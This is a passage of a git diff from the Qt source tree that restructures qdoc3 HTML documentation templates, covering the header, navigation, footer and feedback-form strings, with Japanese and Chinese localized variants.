-			  "			   <li class=\"defaultLink\"><a href=\"best-practices.html\">How-To's and Best Practices</a></li> \n" \
-			  "            </ul>  \n" \
-			  "          </div>\n" \
-			  "        </div>\n" \
-			  "        <div class=\"box\" id=\"examples\">\n" \
-			  "          <h2 title=\"Examples\"><span></span>\n" \
-			  "            Examples</h2>\n" \
-			  "          <div id=\"list003\" class=\"list\">\n" \
-			  "        <ul id=\"ul003\">\n" \
-			  "              <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
-			  "            </ul> \n" \
-			  "          </div>\n" \
-			  "        </div>\n" \
-			  "      </div>\n" \
-			  "      <div class=\"wrap\">\n" \
-			  "        <div class=\"toolbar\">\n" \
-			  "          <div class=\"breadcrumb toolblock\">\n" \
-			  "            <ul>\n" \
-			  "              <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
-			  "              <!--  Bread crumbs goes here -->\n"
+HTML.postheader = \
+    "<div class=\"header\" id=\"qtdocheader\">\n" \
+    "  <div class=\"content\"> \n" \
+    "    <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
+    "  </div>\n" \
+    "  <div class=\"breadcrumb toolblock\">\n" \
+    "    <ul>\n" \
+    "      <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+    "      <!--  Breadcrumbs go here -->\n"
 
-HTML.postpostheader     = "            </ul>\n" \
-			  "          </div>\n" \
-			  "          <div class=\"toolbuttons toolblock\">\n" \
-			  "            <ul>\n" \
-			  "              <li id=\"smallA\" class=\"t_button\">A</li>\n" \
-			  "              <li id=\"medA\" class=\"t_button active\">A</li>\n" \
-			  "              <li id=\"bigA\" class=\"t_button\">A</li>\n" \
-			  "              <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
-			  "                <span>Print</span></a></li>\n" \
-			  "            </ul>\n" \
-			  "        </div>\n" \
-			  "        </div>\n" \
-			  "        <div class=\"content mainContent\">\n"
+HTML.postpostheader = \
+    "    </ul>\n" \
+    "  </div>\n" \
+    "</div>\n" \
+    "<div class=\"content mainContent\">\n"
 
-HTML.footer             = "" \
-			  "        <div class=\"feedback t_button\">\n" \
-			  "          [+] Documentation Feedback</div>\n" \
-			  "      </div>\n" \
-			  "    </div>\n" \
-			  "    </div> \n" \
-			  "    <div class=\"ft\">\n" \
-			  "      <span></span>\n" \
-			  "    </div>\n" \
-			  "  </div> \n" \
-			  "  <div class=\"footer\">\n" \
-			  "    <p>\n" \
-			  "      <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
-			  "      subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
-			  "      in Finland and/or other countries worldwide.</p>\n" \
-			  "    <p>\n" \
-			  "      All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
-			  "        href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
-              "    <br />\n" \
-              "    <p>\n" \
-              "      Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
-              "      Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
-              "      with the terms contained in a written agreement between you and Nokia.</p>\n" \
-              "    <p>\n" \
-              "      Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
-              "      Free Documentation License version 1.3</a>\n" \
-              "      as published by the Free Software Foundation.</p>\n" \
-			  "  </div>\n" \
-			  "  <div id=\"feedbackBox\">\n" \
-			  "      <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
-			  "    <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
-			  "      <p id=\"noteHead\">Thank you for giving your feedback.</p> <p class=\"note\">Make sure it is related to this specific page. For more general bugs and \n" \
-			  "      requests, please use the <a href=\"http://bugreports.qt.nokia.com/secure/Dashboard.jspa\">Qt Bug Tracker</a>.</p>\n" \
-			  "      <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\"></textarea></p>\n" \
-			  "      <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
-			  "    </form>\n" \
-			  "  </div>\n" \
-			  "  <div id=\"blurpage\">\n" \
-			  "  </div>\n"
+HTML.footer = \
+    "  <div class=\"ft\">\n" \
+    "    <span></span>\n" \
+    "  </div>\n" \
+    "</div> \n" \
+    "<div class=\"footer\">\n" \
+    "  <p>\n" \
+    "     <acronym title=\"Copyright\">&copy;</acronym> 2008-2011 Nokia Corporation and/or its\n" \
+    "     subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+    "     in Finland and/or other countries worldwide.</p>\n" \
+    "  <p>\n" \
+    "     All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+    "     href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+    "  <br />\n" \
+    "  <p>\n" \
+    "    Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+    "    Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+    "    with the terms contained in a written agreement between you and Nokia.</p>\n" \
+    "  <p>\n" \
+    "    Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+    "    Free Documentation License version 1.3</a>\n" \
+    "    as published by the Free Software Foundation.</p>\n" \
+    "</div>\n" \
+
+# Files not referenced in any qdoc file.
+# See also extraimages.HTML
+qhp.Qt.extraFiles = index.html \
+                    images/arrow_down.png \
+                    images/breadcrumb.png \
+                    images/bullet_gt.png \
+                    images/bullet_dn.png \
+                    images/bullet_sq.png \
+                    images/bullet_up.png \
+                    images/horBar.png \
+                    images/sprites-combined.png \
+                    style/offline.css
diff --git a/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf b/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf
new file mode 100644
index 0000000..fa15d90
--- /dev/null
+++ b/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf
@@ -0,0 +1,176 @@
+include(qt-html-online-styles.qdocconf)
+
+HTML.postheader = \
+" <div class=\"header\" id=\"qtdocheader\">\n" \
+    "    <div class=\"content\"> \n" \
+    "    <div id=\"nav-logo\">\n" \
+    "      <a href=\"index.html\">Home</a></div>\n" \
+    "    <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
+    "        <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \
+    "        <fieldset>\n" \
+    "        <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \
+    "         </fieldset>\n" \
+    "        </form></div>\n" \
+    "    <div id=\"nav-topright\">\n" \
+    "      <ul>\n" \
+    "        <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
+    "        <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \
+    "        <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
+    "        <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
+    "          DOC</a></li>\n" \
+    "        <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
+    "        <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \
+    "      </ul>\n" \
+    "    </div>\n" \
+    "    <div id=\"shortCut\">\n" \
+    "      <ul>\n" \
+    "        <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \
+    "        <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \
+    "        </a></li>\n" \
+    "      </ul>\n" \
+    "     </div>\n" \
+    " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \
+    "         <li><a href=\"#\">API Lookup</a> \n" \
+    "             <ul id=\"topmenuLook\"> \n" \
+    "               <li><a href=\"classes.html\">Class index</a></li> \n" \
+    "               <li><a href=\"functions.html\">Function index</a></li> \n" \
+    "               <li><a href=\"modules.html\">Modules</a></li> \n" \
+    "               <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
+    "               <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \
+    "               <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
+    "               </ul> \n" \
+    "         </li> \n" \
+    "         <li><a href=\"#\">Qt Topics</a> \n" \
+    "             <ul id=\"topmenuTopic\"> \n" \
+    "               <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \
+    "               <li><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li> \n" \
+    "               <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \
+    "               <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
+    "             </ul> \n" \
+    "        </li> \n" \
+    "         <li><a href=\"#\">Examples</a> \n" \
+    "             <ul id=\"topmenuexample\"> \n" \
+    "                 <li><a href=\"all-examples.html\">Examples</a></li> \n" \
+    "                 <li><a href=\"tutorials.html\">チュートリアル</a></li> \n" \
+    "                 <li><a href=\"demos.html\">Demos</a></li> \n" \
+    "                 <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
+    "                 <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \
+    "             </ul> \n" \
+    "         </li> \n" \
+    " </ul> \n" \
+    "    </div>\n" \
+    "  </div>\n" \
+    "  <div class=\"wrapper\">\n" \
+    "    <div class=\"hd\">\n" \
+    "      <span></span>\n" \
+    "    </div>\n" \
+    "    <div class=\"bd group\">\n" \
+    "      <div class=\"sidebar\">\n" \
+    "        <div class=\"searchlabel\">\n" \
+    "          Search index:</div>\n" \
+    "        <div class=\"search\">\n" \
+    "          <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
+    "            <fieldset>\n" \
+    "              <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
+    "            </fieldset>\n" \
+    "          </form>\n" \
+    "        </div>\n" \
+    "        <div class=\"box first bottombar\" id=\"lookup\">\n" \
+    "          <h2 title=\"API Lookup\"><span></span>\n" \
+    "            API Lookup</h2>\n" \
+    "          <div  id=\"list001\" class=\"list\">\n" \
+    "          <ul id=\"ul001\" >\n" \
+    "              <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
+    "            </ul> \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"box bottombar\" id=\"topics\">\n" \
+    "          <h2 title=\"Qt Topics\"><span></span>\n" \
+    "            Qt Topics</h2>\n" \
+    "          <div id=\"list002\" class=\"list\">\n" \
+    "            <ul id=\"ul002\" >\n" \
+    "              <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \
+    "            </ul>  \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"box\" id=\"examples\">\n" \
+    "          <h2 title=\"Examples\"><span></span>\n" \
+    "            Examples</h2>\n" \
+    "          <div id=\"list003\" class=\"list\">\n" \
+    "        <ul id=\"ul003\">\n" \
+    "              <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"tutorials.html\">チュートリアル</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \
+    "            </ul> \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "      </div>\n" \
+    "      <div class=\"wrap\">\n" \
+    "        <div class=\"toolbar\">\n" \
+    "          <div class=\"breadcrumb toolblock\">\n" \
+    "            <ul>\n" \
+    "              <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+    "              <!--  Bread crumbs goes here -->\n"
+
+HTML.postpostheader = \
+    "            </ul>\n" \
+    "          </div>\n" \
+    "          <div class=\"toolbuttons toolblock\">\n" \
+    "            <ul>\n" \
+    "              <li id=\"smallA\" class=\"t_button\">A</li>\n" \
+    "              <li id=\"medA\" class=\"t_button active\">A</li>\n" \
+    "              <li id=\"bigA\" class=\"t_button\">A</li>\n" \
+    "              <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
+    "                <span>Print</span></a></li>\n" \
+    "            </ul>\n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"content\">\n"
+
+HTML.footer = \
+    "        <!-- /div -->\n" \
+    "        <div class=\"feedback t_button\">\n" \
+    "          [+] Documentation Feedback</div>\n" \
+    "      </div>\n" \
+    "    </div>\n" \
+    "    <div class=\"ft\">\n" \
+    "      <span></span>\n" \
+    "    </div>\n" \
+    "  </div> \n" \
+    "  <div class=\"footer\">\n" \
+    "    <p>\n" \
+    "      <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
+    "      subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+    "      in Finland and/or other countries worldwide.</p>\n" \
+    "    <p>\n" \
+    "      All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+    "        href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+    "    <br />\n" \
+    "    <p>\n" \
+    "      Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+    "      Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+    "      with the terms contained in a written agreement between you and Nokia.</p>\n" \
+    "    <p>\n" \
+    "      Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+    "      Free Documentation License version 1.3</a>\n" \
+    "      as published by the Free Software Foundation.</p>\n" \
+    "  </div>\n" \
+    "  <div id=\"feedbackBox\">\n" \
+    "      <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
+    "    <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
+    "      <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
+    "      <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
+    "    </form>\n" \
+    "  </div>\n" \
+    "  <div id=\"blurpage\">\n" \
+    "  </div>\n"
diff --git a/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf b/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf
index da20766..18ed5c1 100644
--- a/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf
+++ b/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf
@@ -1,177 +1,63 @@
-HTML.stylesheets        =  style/style.css \
-									style/OfflineStyle.css \
-									style/style_ie7.css \
-									style/style_ie8.css \
-									style/style_ie6.css
-									
-HTML.postheader         = " <div class=\"header\" id=\"qtdocheader\">\n" \
-			  "    <div class=\"content\"> \n" \
-			  "    <div id=\"nav-logo\">\n" \
-			  "      <a href=\"index.html\">Home</a></div>\n" \
-			  "    <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
-			  "		<div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \
-			  "		<fieldset>\n" \
-              "		<input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \
-			  "		 </fieldset>\n" \
-			  "		</form></div>\n" \
-			  "    <div id=\"nav-topright\">\n" \
-			  "      <ul>\n" \
-			  "        <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
-			  "        <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \
-			  "        <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
-			  "        <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
-			  "          DOC</a></li>\n" \
-			  "        <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
-			  "        <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \
-			  "      </ul>\n" \
-			  "    </div>\n" \
-			  "    <div id=\"shortCut\">\n" \
-			  "      <ul>\n" \
-			  "        <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \
-			  "        <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \
-			  "        </a></li>\n" \
-			  "      </ul>\n" \
-			  "     </div>\n" \
-			 " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \
-			"		 <li><a href=\"#\">API Lookup</a> \n" \
-			"			 <ul id=\"topmenuLook\"> \n" \
-			"			   <li><a href=\"classes.html\">Class index</a></li> \n" \
-			" 			  <li><a href=\"functions.html\">Function index</a></li> \n" \
-			"			   <li><a href=\"modules.html\">Modules</a></li> \n" \
-			"			   <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
-			"			   <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \
-			"			   <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
-			"			   </ul> \n" \
-			"		 </li> \n" \
-			"		 <li><a href=\"#\">Qt Topics</a> \n" \
-			"			 <ul id=\"topmenuTopic\"> \n" \
-			"			   <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \
-			"			   <li><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li> \n" \
-			"			   <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \
-			"			   <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
-			"			 </ul> \n" \
-			"		</li> \n" \
-			"		 <li><a href=\"#\">Examples</a> \n" \
-			"			 <ul id=\"topmenuexample\"> \n" \
-			"				 <li><a href=\"all-examples.html\">Examples</a></li> \n" \
-			"				 <li><a href=\"tutorials.html\">チュートリアル</a></li> \n" \
-			"				 <li><a href=\"demos.html\">Demos</a></li> \n" \
-			"				 <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
-			"				 <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \
-			"			 </ul> \n" \
-			"		 </li> \n" \
-			" </ul> \n" \
-			  "    </div>\n" \
-			  "  </div>\n" \
-			  "  <div class=\"wrapper\">\n" \
-			  "    <div class=\"hd\">\n" \
-			  "      <span></span>\n" \
-			  "    </div>\n" \
-			  "    <div class=\"bd group\">\n" \
-			  "      <div class=\"sidebar\">\n" \
-			  "        <div class=\"searchlabel\">\n" \
-			  "          Search index:</div>\n" \
-			  "        <div class=\"search\">\n" \
-			  "          <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
-			  "            <fieldset>\n" \
-			  "              <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
-			  "            </fieldset>\n" \
-			  "          </form>\n" \
-			  "        </div>\n" \
-			  "        <div class=\"box first bottombar\" id=\"lookup\">\n" \
-			  "          <h2 title=\"API Lookup\"><span></span>\n" \
-			  "            API Lookup</h2>\n" \
-			  "          <div  id=\"list001\" class=\"list\">\n" \
-			  "          <ul id=\"ul001\" >\n" \
-			  "              <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
-			  "            </ul> \n" \
-			  "          </div>\n" \
-			  "        </div>\n" \
-			  "        <div class=\"box bottombar\" id=\"topics\">\n" \
-			  "          <h2 title=\"Qt Topics\"><span></span>\n" \
-			  "            Qt Topics</h2>\n" \
-			  "          <div id=\"list002\" class=\"list\">\n" \
-			  "            <ul id=\"ul002\" >\n" \
-			  "              <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \
-			  "            </ul>  \n" \
-			  "          </div>\n" \
-			  "        </div>\n" \
-			  "        <div class=\"box\" id=\"examples\">\n" \
-			  "          <h2 title=\"Examples\"><span></span>\n" \
-			  "            Examples</h2>\n" \
-			  "          <div id=\"list003\" class=\"list\">\n" \
-			  "        <ul id=\"ul003\">\n" \
-			  "              <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"tutorials.html\">チュートリアル</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \
-			  "            </ul> \n" \
-			  "          </div>\n" \
-			  "        </div>\n" \
-			  "      </div>\n" \
-			  "      <div class=\"wrap\">\n" \
-			  "        <div class=\"toolbar\">\n" \
-			  "          <div class=\"breadcrumb toolblock\">\n" \
-			  "            <ul>\n" \
-			  "              <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
-			  "              <!--  Bread crumbs goes here -->\n"
+include(qt-html-default-styles.qdocconf)
 
-HTML.postpostheader     = "            </ul>\n" \
-			  "          </div>\n" \
-			  "          <div class=\"toolbuttons toolblock\">\n" \
-			  "            <ul>\n" \
-			  "              <li id=\"smallA\" class=\"t_button\">A</li>\n" \
-			  "              <li id=\"medA\" class=\"t_button active\">A</li>\n" \
-			  "              <li id=\"bigA\" class=\"t_button\">A</li>\n" \
-			  "              <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
-			  "                <span>Print</span></a></li>\n" \
-			  "            </ul>\n" \
-			  "          </div>\n" \
-			  "        </div>\n" \
-			  "        <div class=\"content\">\n"
+HTML.postheader = \
+    " <div class=\"header\" id=\"qtdocheader\">\n" \
+    "  <div class=\"wrap\">\n" \
+    "    <div class=\"toolbar\">\n" \
+    "      <div class=\"breadcrumb toolblock\">\n" \
+    "        <ul>\n" \
+    "          <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+    "          <!--  Bread crumbs goes here -->\n"
 
-HTML.footer             = "        <!-- /div -->\n" \
-			  "        <div class=\"feedback t_button\">\n" \
-			  "          [+] Documentation Feedback</div>\n" \
-			  "      </div>\n" \
-			  "    </div>\n" \
-			  "    <div class=\"ft\">\n" \
-			  "      <span></span>\n" \
-			  "    </div>\n" \
-			  "  </div> \n" \
-			  "  <div class=\"footer\">\n" \
-			  "    <p>\n" \
-			  "      <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
-			  "      subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
-			  "      in Finland and/or other countries worldwide.</p>\n" \
-			  "    <p>\n" \
-			  "      All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
-			  "        href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
-                          "    <br />\n" \
-                          "    <p>\n" \
-                          "      Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
-                          "      Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
-                          "      with the terms contained in a written agreement between you and Nokia.</p>\n" \
-                          "    <p>\n" \
-                          "      Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
-                          "      Free Documentation License version 1.3</a>\n" \
-                          "      as published by the Free Software Foundation.</p>\n" \
-			  "  </div>\n" \
-			  "  <div id=\"feedbackBox\">\n" \
-			  "      <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
-			  "    <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
-			  "      <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
-			  "      <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
-			  "    </form>\n" \
-			  "  </div>\n" \
-			  "  <div id=\"blurpage\">\n" \
-			  "  </div>\n"
+HTML.postpostheader = \
+    "            </ul>\n" \
+    "          </div>\n" \
+    "          <div class=\"toolbuttons toolblock\">\n" \
+    "            <ul>\n" \
+    "              <li id=\"smallA\" class=\"t_button\">A</li>\n" \
+    "              <li id=\"medA\" class=\"t_button active\">A</li>\n" \
+    "              <li id=\"bigA\" class=\"t_button\">A</li>\n" \
+    "              <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
+    "                <span>Print</span></a></li>\n" \
+    "            </ul>\n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"content\">\n"
+
+HTML.footer = \
+    "        <!-- /div -->\n" \
+    "        <div class=\"feedback t_button\">\n" \
+    "          [+] Documentation Feedback</div>\n" \
+    "      </div>\n" \
+    "    </div>\n" \
+    "    <div class=\"ft\">\n" \
+    "      <span></span>\n" \
+    "    </div>\n" \
+    "  </div> \n" \
+    "  <div class=\"footer\">\n" \
+    "    <p>\n" \
+    "      <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
+    "      subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+    "      in Finland and/or other countries worldwide.</p>\n" \
+    "    <p>\n" \
+    "      All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+    "        href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+    "    <br />\n" \
+    "    <p>\n" \
+    "      Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+    "      Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+    "      with the terms contained in a written agreement between you and Nokia.</p>\n" \
+    "    <p>\n" \
+    "      Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+    "      Free Documentation License version 1.3</a>\n" \
+    "      as published by the Free Software Foundation.</p>\n" \
+    "  </div>\n" \
+    "  <div id=\"feedbackBox\">\n" \
+    "      <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
+    "    <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
+    "      <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
+    "      <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
+    "    </form>\n" \
+    "  </div>\n" \
+    "  <div id=\"blurpage\">\n" \
+    "  </div>\n"
diff --git a/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf b/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf
new file mode 100644
index 0000000..285ec27
--- /dev/null
+++ b/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf
@@ -0,0 +1,176 @@
+include(qt-html-online-styles.qdocconf)
+
+HTML.postheader = \
+    " <div class=\"header\" id=\"qtdocheader\">\n" \
+    "    <div class=\"content\"> \n" \
+    "    <div id=\"nav-logo\">\n" \
+    "      <a href=\"index.html\">Home</a></div>\n" \
+    "    <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
+    "     <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \
+    "     <fieldset>\n" \
+    "     <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \
+    "      </fieldset>\n" \
+    "     </form></div>\n" \
